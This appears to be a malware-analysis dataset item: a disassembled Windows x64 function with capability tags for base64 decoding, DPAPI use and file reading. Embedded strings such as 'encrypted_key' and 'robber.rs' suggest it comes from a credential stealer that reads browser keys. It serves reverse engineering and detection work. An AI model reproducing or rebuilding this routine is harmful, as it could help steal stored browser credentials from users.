Function at 0x140007730
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3a8
movaps xmmword [rsp + 0x390], xmm13
movaps xmmword [rsp + 0x380], xmm12
movaps xmmword [rsp + 0x370], xmm11
movaps xmmword [rsp + 0x360], xmm10
movaps xmmword [rsp + 0x350], xmm9
movaps xmmword [rsp + 0x340], xmm8
movaps xmmword [rsp + 0x330], xmm7
movaps xmmword [rsp + 0x320], xmm6
lea rdx, [0x140221baa]
lea rcx, [rsp + 0x2a0]
mov r8d, recv
call fcn.140143470
mov rsi, qword [rsp + 0x2a0]
test rsi, rsi
je 0x14000d414
mov rdi, qword [rsp + 0x2a8]
mov r14, qword [rsp + 0x2b0]
test r14, r14
mov qword [rsp + 0x278], rsi
je 0x140007860
lea rax, [rsi + r14]
xor r8d, r8d
mov rcx, rsi
jmp 0x1400077f8
mov rcx, rdx
cmp rcx, rax
je 0x140007860
lea rdx, [rcx + 1]
movzx ebx, byte [rcx]
test bl, bl
jns 0x1400077f0
add rcx, 2
cmp bl, 0xe0
jae 0x140007815
cmp rdx, rax
cmove rcx, rdx
jmp 0x1400077f3
cmp bl, 0xed
jne 0x140007839
cmp rdx, rax
cmove rcx, rdx
cmp rcx, rax
je 0x140007860
add rcx, 1
cmp rdx, rax
je 0x1400077f3
cmp byte [rdx], 0x9f
jbe 0x1400077f3
jmp 0x14000d5ca
cmp rdx, rax
mov rbp, rcx
cmove rbp, rdx
lea rcx, [rbp + 1]
cmp rbp, rax
cmove rcx, rbp
cmp bl, 0xf0
jb 0x1400077f3
lea rdx, [rcx + 1]
cmp rcx, rax
cmovne rcx, rdx
jmp 0x1400077f3
mov qword [rsp + 0x280], rdi
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x90
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7b7
mov r13, rax
mov qword [rsp + 0x20], 6
lea r9, [0x140221bb6]
lea rcx, [rsp + 0x248]
mov rdx, rsi
mov r8, r14
call fcn.140152950
mov rdx, qword [rsp + 0x248]
mov r8, qword [rsp + 0x258]
mov qword [rsp + 0x20], 6
lea r9, [0x140221bbc]
lea rcx, [rsp + 0x2d8]
call fcn.140152950
mov rdx, qword [rsp + 0x2d8]
mov r8, qword [rsp + 0x2e8]
mov qword [rsp + 0x20], 9
lea r15, [0x140221bc2]
lea rcx, [rsp + 0x288]
mov qword [rsp + 0x1f8], rdx
mov r9, r15
call fcn.140152950
mov qword [rsp + 0x20], 9
lea r9, [0x140221bcb]
lea rcx, [rsp + 0x2f0]
mov rdx, rsi
mov r8, r14
call fcn.140152950
mov rdx, qword [rsp + 0x2f0]
mov r8, qword [rsp + 0x300]
mov qword [rsp + 0x20], 4
lea r9, [0x140221bd4]
lea rcx, [rsp + 0x200]
mov qword [rsp + 0x240], rdx
call fcn.140152950
mov rdx, qword [rsp + 0x200]
mov r8, qword [rsp + 0x210]
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x270], rdx
mov r9, r15
call fcn.140152950
mov qword [rsp + 0x20], 8
lea r9, [0x140221bd8]
lea rcx, [rsp + 0x160]
mov rdx, rsi
mov r8, r14
call fcn.140152950
mov rdx, qword [rsp + 0x160]
mov r8, qword [rsp + 0x170]
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x1e0]
mov qword [rsp + 0x128], rdx
mov r9, r15
call fcn.140152950
mov qword [rsp + 0x20], send
lea r9, [0x140221be0]
lea rcx, [rsp + 0x1b8]
mov rdx, rsi
mov r8, r14
call fcn.140152950
mov rbp, qword [rsp + 0x1b8]
mov r8, qword [rsp + 0x1c8]
mov qword [rsp + 0x20], send
lea r9, [0x140221bed]
lea rcx, [rsp + 0x220]
mov rdx, rbp
call fcn.140152950
mov rbx, qword [rsp + 0x220]
mov r8, qword [rsp + 0x230]
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0x110]
mov rdx, rbx
mov r9, r15
call fcn.140152950
mov qword [rsp + 0x20], 7
lea r9, [0x140221bfa]
lea rcx, [rsp + 0x180]
mov rdx, rsi
mov r8, r14
call fcn.140152950
mov r12, qword [rsp + 0x180]
mov r8, qword [rsp + 0x190]
mov qword [rsp + 0x20], 9
lea rcx, [rsp + 0xe0]
mov rdx, r12
mov r9, r15
call fcn.140152950
mov qword [rsp + 0x20], send
lea r9, [0x140221c01]
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r14
call fcn.140152950
mov rdi, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], send
lea r9, [0x140221c0f]
lea rcx, [rsp + 0xa0]
mov rdx, rdi
call fcn.140152950
mov rax, qword [rsp + 0x298]
mov qword [r13 + 0x10], rax
movups xmm0, xmmword [rsp + 0x288]
movups xmmword [r13], xmm0
mov rax, qword [rsp + 0x2d0]
mov qword [r13 + 0x28], rax
movups xmm0, xmmword [rsp + 0x2c0]
movups xmmword [r13 + 0x18], xmm0
mov rax, qword [rsp + 0x1f0]
mov qword [r13 + 0x40], rax
movups xmm0, xmmword [rsp + 0x1e0]
movups xmmword [r13 + 0x30], xmm0
mov rax, qword [rsp + 0x120]
mov qword [r13 + 0x58], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [r13 + 0x48], xmm0
movups xmm0, xmmword [rsp + 0xe0]
movups xmmword [r13 + 0x60], xmm0
mov rax, qword [rsp + 0xf0]
mov qword [r13 + 0x70], rax
movups xmm0, xmmword [rsp + 0xa0]
movups xmmword [r13 + 0x78], xmm0
mov rax, qword [rsp + 0xb0]
mov qword [r13 + 0x88], rax
cmp qword [rsp + 0x48], 0
je 0x140007bb9
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
cmp qword [rsp + 0x188], 0
je 0x140007bd6
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r12
call fcn.14021dfcd
cmp qword [rsp + 0x228], 0
je 0x140007bf3
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
cmp qword [rsp + 0x1c0], 0
je 0x140007c10
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbp
call fcn.14021dfcd
cmp qword [rsp + 0x168], 0
je 0x140007c32
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x128]
call fcn.14021dfcd
cmp qword [rsp + 0x208], 0
je 0x140007c54
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x270]
call fcn.14021dfcd
cmp qword [rsp + 0x2f8], 0
je 0x140007c76
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x240]
call fcn.14021dfcd
cmp qword [rsp + 0x2e0], 0
je 0x140007c98
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x1f8]
call fcn.14021dfcd
cmp qword [rsp + 0x250], 0
je 0x140007cbd
mov rsi, qword [rsp + 0x248]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
lea r14, [r13 + 0x90]
mov ebp, 8
xor ebx, ebx
xor eax, eax
mov qword [rsp + 0x1f8], rax
xor r12d, r12d
jmp 0x140007d0f
mov rbp, r9
lea rax, [r12 + r12*2]
mov qword [rbp + rax*8], rsi
mov qword [rbp + rax*8 + 8], r15
mov qword [rbp + rax*8 + 0x10], rdi
add r12, 1
lea rax, [rbx + r13]
add rbx, 0x18
add rax, 0x18
cmp rax, r14
je 0x140007e5b
mov rsi, qword [r13 + rbx]
test rsi, rsi
je 0x140007e34
mov r15, qword [r13 + rbx + 8]
mov rdi, qword [r13 + rbx + 0x10]
mov rcx, rsi
mov rdx, rdi
call fcn.140152ca0
test al, al
je 0x140007db0
mov r9, rbp
mov rbp, qword [rsp + 0x1f8]
cmp r12, rbp
jne 0x140007ce0
mov rax, rbp
inc rax
je 0x14000d78f
mov rcx, rbp
add rcx, rbp
cmp rcx, rax
cmova rax, rcx
cmp rax, 4
mov ecx, 4
cmovbe rax, rcx
xor r8d, r8d
mov ecx, 0x18
mul rcx
setno r8b
shl r8, 3
test rbp, rbp
je 0x140007dd0
shl rbp, 3
lea rcx, [rbp*2]
add rcx, rbp
mov qword [rsp + 0x40], r9
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], 8
jmp 0x140007dd9
test r15, r15
je 0x140007cfa
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x140007cfa
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0xa0]
mov rdx, rax
lea r9, [rsp + 0x40]
call fcn.140142a50
mov rbp, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp qword [rsp + 0xa0], 1
je 0x14000d78a
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 4
mov qword [rsp + 0x1f8], rdx
jmp 0x140007ce3
add rbx, 0x18
cmp rbx, 0x78
je 0x140007e5b
cmp qword [r13 + rbx + 0x20], 0
je 0x140007e30
mov rsi, qword [r13 + rbx + 0x18]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
jmp 0x140007e30
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r13
call fcn.14021dfcd
mov r8, qword [rsp + 0x1f8]
mov rdi, qword [rsp + 0x280]
mov qword [rsp + 0x1f8], r8
test rdi, rdi
je 0x140007ea1
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x278]
call fcn.14021dfcd
lea rax, [r12 + r12*2]
lea r13, [rax*8]
add r13, rbp
test r12, r12
je 0x14000d418
xorps xmm6, xmm6
movaps xmm7, xmmword [0x140220780]
movaps xmm8, xmmword [reloc.WS2_32.dll_closesocket]
movaps xmm9, xmmword [0x140220790]
movaps xmm10, xmmword [reloc.WS2_32.dll_getpeername]
movaps xmm11, xmmword [reloc.WS2_32.dll_connect]
movaps xmm12, xmmword [0x1402207c0]
movaps xmm13, xmmword [0x140220770]
xor eax, eax
mov qword [rsp + 0x108], rax
mov rax, rbp
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x148], r13
jmp 0x140007f2c
mov rax, r15
cmp r15, r13
je 0x14000d424
lea r15, [rax + 0x18]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000d41b
mov rcx, qword [rax + 8]
mov qword [rsp + 0x280], rcx
mov rbx, qword [rax + 0x10]
mov qword [rsp + 0x20], send
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x240], rdx
mov r8, rbx
lea r9, [0x140221c33]
call fcn.140152950
mov r12, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rcx, r12
mov rdx, rsi
call fcn.140152ca0
test al, al
je 0x14000d4ee
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x278], rax
mov rcx, r12
mov rdx, rsi
call fcn.1401525e0
test rax, rax
mov qword [rsp + 0x270], r12
je 0x140009580
mov r8, rdx
mov r14, rbp
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x20], 7
lea rcx, [rsp + 0x1e0]
mov rdx, rax
lea r9, str.key.bakos_cryptsrc_robber.rsencrypted_key
call fcn.140152950
mov r15, qword [rsp + 0x1e0]
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], rdi
lea rbp, [rsp + 0x40]
mov rcx, rbp
mov rdx, r12
mov r8, rsi
mov r9, r15
call fcn.1401540e0
cmp qword [rsp + 0x40], 1
jne 0x140008090
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov r12, rax
lea rax, [0x1402218c0]
mov qword [r12], rax
mov qword [r12 + 8], rdi
mov qword [r12 + 0x10], rsi
cmp qword [rsp + 0x1e8], 0
mov rbp, r14
je 0x1400082de
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call fcn.14021dfcd
mov r15, qword [rsp + 0x128]
jmp 0x1400095b5
mov rsi, qword [rsp + 0x1e8]
movabs rax, 0x700000000
mov qword [rsp + 0x54], rax
movaps xmmword [rsp + 0x40], xmm6
lea rax, [rsp + 0x58]
mov word [rax + 0xc], 0
mov qword [rax + 4], 0
mov byte [rsp + 0x60], 1
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rdi
mov r9, rbp
call fcn.14014e570
cmp dword [rsp + 0xa0], 1
mov qword [rsp + 0x100], rsi
jne 0x14000816b
mov rsi, qword [rsp + 0xa8]
mov r13, qword [rsp + 0xb0]
mov dil, 1
mov rbp, r14
cmp qword [rsp + 0x100], 0
je 0x14000811f
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r15
call fcn.14021dfcd
test dil, dil
je 0x1400081e3
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
mov r15, qword [rsp + 0x128]
je 0x14000d7a0
mov r12, rax
lea rax, [0x1402218c0]
mov qword [r12], rax
mov qword [r12 + 8], rsi
mov qword [r12 + 0x10], r13
jmp 0x1400082d1
mov qword [rsp + 0x1d8], rbx
mov r12, qword [rsp + 0xa8]
mov rcx, rbp
mov rdx, r12
call fcn.14014e760
cmp dword [rsp + 0x40], 1
mov r14, qword [rsp + 0x48]
jne 0x1400082eb
mov r13d, 1
cmp r14b, 2
jb 0x140008608
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rdi]
mov rax, qword [rdi + 8]
call qword [rax]
mov rax, qword [rdi + 8]
cmp qword [rax + 8], 0
je 0x1400085f6
mov rbx, qword [rdi]
cmp qword [rax + 0x10], 0x11
jae 0x1400085e3
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
jmp 0x1400085f1
mov qword [rsp + 0xa0], rsi
mov rax, qword [rsp + 0x318]
mov qword [rsp + 0xa8], rax
movups xmmword [rsp + 0xb0], xmm7
lea rax, [rsp + 0xb8]
movups xmmword [rax + 8], xmm6
mov byte [rsp + 0xd0], 0x80
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xa0]
call fcn.14001ac00
cmp dword [rsp + 0x40], 1
mov r15, qword [rsp + 0x128]
jne 0x1400082ff
mov rbx, rsi
mov rsi, qword [rsp + 0x48]
cmp qword [rsp + 0xc0], 0
je 0x140008269
mov rdi, qword [rsp + 0xb8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x170], rax
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d796
mov r12, rax
lea rax, [0x140221930]
mov qword [r12], rax
mov qword [r12 + 8], rsi
test r13, r13
je 0x1400082d1
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rbx
call fcn.14021dfcd
mov r13, qword [rsp + 0x148]
jmp 0x1400095b5
mov r15, qword [rsp + 0x128]
jmp 0x1400095b5
inc r14
jne 0x1400084f6
mov r13d, 1
jmp 0x140008608
lea rax, [rsp + 0x58]
movups xmm0, xmmword [rax - 0x10]
movups xmm1, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xb0]
cmp rcx, rax
jae 0x14000837d
mov rdx, qword [rsp + 0xa0]
neg rax
add rcx, 1
nop
movzx ebp, byte [rdx + rcx - 1]
cmp rbp, 0x20
ja 0x140008526
movabs rdi, 0x100002600
bt rdi, rbp
jae 0x140008526
mov qword [rsp + 0xb0], rcx
lea rbp, [rax + rcx]
add rbp, 1
add rcx, 1
cmp rbp, 1
jne 0x140008340
mov qword [rsp + 0x130], rsi
mov rdi, qword [rsp + 0xe0]
lea rax, [rsp + 0xe8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x110], xmm0
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x120], rax
cmp qword [rsp + 0xc0], 0
je 0x1400083d1
mov rsi, qword [rsp + 0xb8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.14021dfcd
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x160], xmm0
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x1b8], rdi
lea rcx, [rsp + 0x1c0]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
mov edx, 8
lea rcx, [0x140221c9f]
lea r8, [rsp + 0x1b8]
call fcn.140140060
test rax, rax
lea rsi, [0x140272a60]
cmove rax, rsi
mov edx, recv
lea rcx, [0x140221cb4]
mov r8, rax
call fcn.140140060
test rax, rax
cmove rax, rsi
cmp byte [rax], 3
mov rbp, qword [rsp + 0x90]
jne 0x140008587
mov qword [rsp + 0x98], r13
mov rcx, qword [rax + 8]
mov qword [rsp + 0x150], rcx
mov r11, qword [rax + 0x18]
lea rsi, [r11*4]
mov rax, rsi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov r14, rdx
shr r14, 1
test rsi, rsi
mov qword [rsp + 0x138], r11
mov qword [rsp + 0x1d8], rbx
je 0x1400088f3
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
mov r11, qword [rsp + 0x138]
mov qword [rsp + 0x100], rax
test rax, rax
mov rdi, qword [rsp + 0x108]
lea r13, [0x140222620]
je 0x14000d9a2
mov r12, r11
add r12, 7
jae 0x14000891c
jmp 0x14000da8e
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d9a2
mov r13, rax
xor edi, edi
xor ebp, ebp
cmp rbp, rdi
je 0x14000863f
jmp 0x1400086e0
mov rbx, rsi
mov qword [rsp + 0x40], reloc.WS2_32.dll_send
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x40]
call fcn.14001c260
mov rsi, rax
movzx eax, byte [rsp + 0xe0]
cmp rax, 3
mov rbp, qword [rsp + 0x90]
jb 0x140008244
cmp eax, 4
je 0x14000897f
cmp eax, 3
jne 0x1400089bd
cmp qword [rsp + 0xf0], 0
jne 0x14000899e
jmp 0x140008244
cmp dil, 3
mov rsi, qword [rsp + 0x130]
jb 0x14000955e
cmp dil, 4
je 0x140008a3e
cmp dil, 3
jne 0x140008a50
cmp qword [rsp + 0x1c8], 0
je 0x14000955e
mov rsi, qword [rsp + 0x1c0]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rsi
mov rsi, qword [rsp + 0x130]
call fcn.14021dfcd
jmp 0x14000955e
call sub.KERNEL32.dll_GetProcessHeap
mov r8, qword [rbx - 8]
mov rcx, rax
xor edx, edx
call fcn.14021dfcd
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
xor r14d, r14d
xor edi, edi
xor ebp, ebp
cmp rbp, rdi
je 0x14000863f
jmp 0x1400086e0
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov ecx, eax
call fcn.140144e80
cmp al, 0xf
jne 0x14000874c
cmp rbp, rdi
jne 0x1400086e0
mov rax, r14
sub rax, rdi
cmp rax, 0x1f
lea rsi, [rsp + 0x40]
ja 0x1400086cd
mov rdx, rdi
add rdx, 0x20
jb 0x14000d78f
lea rax, [r14 + r14]
cmp rax, rdx
cmova rdx, rax
cmp rdx, 8
mov eax, 8
cmovbe rdx, rax
test r14, r14
je 0x14000868f
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 1
jmp 0x140008698
mov qword [rsp + 0x40], 0
mov r8d, 1
lea rcx, [rsp + 0xa0]
mov r9, rsi
call fcn.140142a50
mov r13, qword [rsp + 0xa8]
mov r14, qword [rsp + 0xb0]
cmp qword [rsp + 0xa0], 1
je 0x14000d778
cmp r14, rdi
jb 0x14000d764
mov rdi, r14
jmp 0x1400086e5
lea rsi, [rsp + 0x40]
mov rbx, rdi
sub rbx, rbp
jb 0x14000d736
mov rdx, r13
add rdx, rbp
mov dword [rsp + 0x40], 0
mov eax, 0xffffffff
cmp rbx, rax
mov r8d, 0xffffffff
cmovb r8d, ebx
mov qword [rsp + 0x20], 0
mov rcx, r12
mov r9, rsi
call sub.KERNEL32.dll_ReadFile
test eax, eax
je 0x140008620
mov eax, dword [rsp + 0x40]
test rax, rax
je 0x140008754
cmp rbx, rax
jb 0x14000d74a
add rbp, rax
cmp rbp, rdi
jne 0x1400086e0
jmp 0x14000863f
cmp al, 8
jne 0x1400088a4
xor ebx, ebx
mov rsi, rbp
mov qword [rsp + 0x130], r15
lea rcx, [rsp + 0x40]
mov rdx, r13
mov r8, rbp
call fcn.140023550
cmp qword [rsp + 0x40], 0
je 0x140008842
mov r15, qword [rsp + 0x108]
test bl, bl
jne 0x14000884e
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x22
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7c1
mov rbx, rax
movzx eax, word [0x140274b30]
mov word [rbx + 0x20], ax
movups xmm0, xmmword [0x140274b20]
movups xmmword [rbx + 0x10], xmm0
movups xmm0, xmmword [str.stream_did_not_contain_valid_UTF_8Filehandle]
movups xmmword [rbx], xmm0
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov rbp, rax
mov qword [rax], rbx
movups xmmword [rax + 8], xmm13
call sub.KERNEL32.dll_GetProcessHeap
mov r8d, 0x18
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x14000d7a0
mov rdx, rax
mov qword [rax], rbp
lea rax, [0x140272fb0]
mov qword [rdx + 8], rax
mov byte [rdx + 0x10], 0xc
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rdx + 0x11], eax
mov r15, rdx
mov dword [rdx + 0x14], ecx
mov esi, 2
jmp 0x14000884e
mov r15, qword [rsp + 0x108]
test bl, bl
je 0x1400088af
test r13, r13
je 0x14000886a
test r14, r14
je 0x14000886a
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, r13
call fcn.14021dfcd
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
mov dil, 1
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x1d8]
mov r13, r15
mov r15, qword [rsp + 0x130]
cmp qword [rsp + 0x100], 0
jne 0x14000810d
jmp 0x14000811f
shl rsi, 0x20
mov bl, 1
jmp 0x140008759
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
xor edi, edi
mov qword [rsp + 0x318], rbp
mov rsi, r13
mov r13, r14
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x1d8]
mov r15, qword [rsp + 0x130]
cmp qword [rsp + 0x100], 0
jne 0x14000810d
jmp 0x14000811f
mov eax, 1
mov qword [rsp + 0x100], rax
mov rdi, qword [rsp + 0x108]
lea r13, [0x140222620]
mov r12, r11
add r12, 7
jb 0x14000da8e
shr r12, 3
lea rax, [r12 + r12]
lea r15, [rax + rax*2]
test r15, r15
je 0x140008977
cmp r14, r15
jae 0x140008b18
lea rdx, [r14 + r14]
cmp rdx, r15
cmovbe rdx, r15
cmp rdx, 8
mov eax, 8
cmovbe rdx, rax
test rsi, rsi
je 0x140008ad0
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 1
jmp 0x140008ad9
mov r15, rdi
jmp 0x140008b3c
lea rcx, [rsp + 0xe8]
call fcn.1400063d0
mov rax, qword [rsp + 0xf0]
shl rax, 5
je 0x140008244
mov rdi, qword [rsp + 0xe8]
call sub.KERNEL32.dll_GetProcessHeap
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14021dfcd
jmp 0x140008244
mov r8, qword [rsp + 0xf0]
test r8, r8
je 0x1400094ff
mov rdx, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf8]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0x180]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x188]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x230], rax
movups xmm0, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x220], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x140009519
lea rcx, [rsp + 0x1c0]
call fcn.1400032a0
jmp 0x14000955e
mov r8, qword [rsp + 0x1c8]
test r8, r8
je 0x14000952d
mov rdx, qword [rsp + 0x1c0]
mov rsi, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], r8
lea rcx, [rsp + 0xa0]
mov r9, rdx
call fcn.14001f630
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x180], xmm0
lea rcx, [rsp + 0x58]
mov qword [rcx + 0x10], rax
movups xmmword [rcx], xmm0
jmp 0x140009547
mov qword [rsp + 0x40], 0
mov r8d, 1
lea rcx, [rsp + 0xa0]
lea r9, [rsp + 0x40]
call fcn.140142a50
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x100], rax
mov r14, qword [rsp + 0xb0]
cmp qword [rsp + 0xa0], 1
je 0x14000d7cb
lea r8, [r15 - 1]
mov rsi, qword [rsp + 0x100]
mov rcx, rsi
mov edx, edi
call sub.VCRUNTIME140.dll_memset
mov byte [rsi + r15 - 1], 0
mov r11, qword [rsp + 0x138]
mov eax, r11d
and eax, 7
cmp rax, 5
ja case.default.0x140008b56
lea rcx, [0x14000db44]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov bl, 1
sub r11, 1
jb 0x140008b77
mov rax, qword [rsp + 0x150]
movzx eax, byte [rax + r11]
cmp rax, 0x3d
jne 0x1400094c7
xor esi, esi
xor edi, edi
mov r13, qword [rsp + 0x98]
jmp 0x140009d53
mov eax, 0xa
jmp case.default.0x140008b56
mov eax, 8
jmp case.default.0x140008b56
mov eax, 0xb
jmp case.default.0x140008b56
mov eax, recv
mov rbx, r11
sub rbx, rax
cmovb rbx, rdi
mov r8, rbx
sub r8, 0x20
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x158], r15
jae 0x140008d85
xor esi, esi
xor r10d, r10d
sub rbx, 8
setb al
cmp rsi, rbx
mov qword [rsp + 0x140], r10
mov qword [rsp + 0x260], r12
jae 0x14000926b
test al, al
mov rdi, qword [rsp + 0x150]
jne 0x140009278
cmp rsi, 0xfffffffffffffff8
je 0x14000daa8
lea r12, [rsi + 8]
cmp r12, r11
mov rbp, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x140]
ja 0x14000dac4
lea rdx, [rcx + 8]
cmp rcx, 0xfffffffffffffff7
ja 0x14000dadc
cmp rdx, r15
ja 0x14000daea
movzx eax, byte [rdi + rsi]
movzx r14d, byte [rax + r13]
cmp r14, 0xff
je 0x1400098cd
movzx eax, byte [rdi + rsi + 1]
movzx r8d, byte [rax + r13]
cmp r8, 0xff
je 0x1400098c3
movzx eax, byte [rdi + rsi + 2]
movzx r9d, byte [rax + r13]
cmp r9, 0xff
je 0x1400098c9
mov r15, rsi
movzx esi, byte [rdi + rsi + 3]
movzx eax, byte [rsi + r13]
cmp rax, 0xff
je 0x1400098dd
movzx esi, byte [rdi + r15 + 4]
mov rdx, rdi
movzx edi, byte [rsi + r13]
cmp rdi, 0xff
je 0x1400098e3
mov r10, rbx
movzx ebx, byte [rdx + r15 + 5]
movzx esi, byte [rbx + r13]
cmp rsi, 0xff
je 0x1400098f8
movzx ebp, byte [rdx + r15 + 6]
movzx ebx, byte [rbp + r13]
cmp rbx, 0xff
je 0x14000990f
movzx edx, byte [rdx + r15 + 7]
movzx ebp, byte [rdx + r13]
cmp rbp, 0xff
je 0x14000992a
shl r8, 0x34
shl r14, 0x3a
or r14, r8
shl r9, 0x2e
shl rax, 0x28
or rax, r9
or rax, r14
shl rdi, 0x22
shl rsi, 0x1c
or rsi, rdi
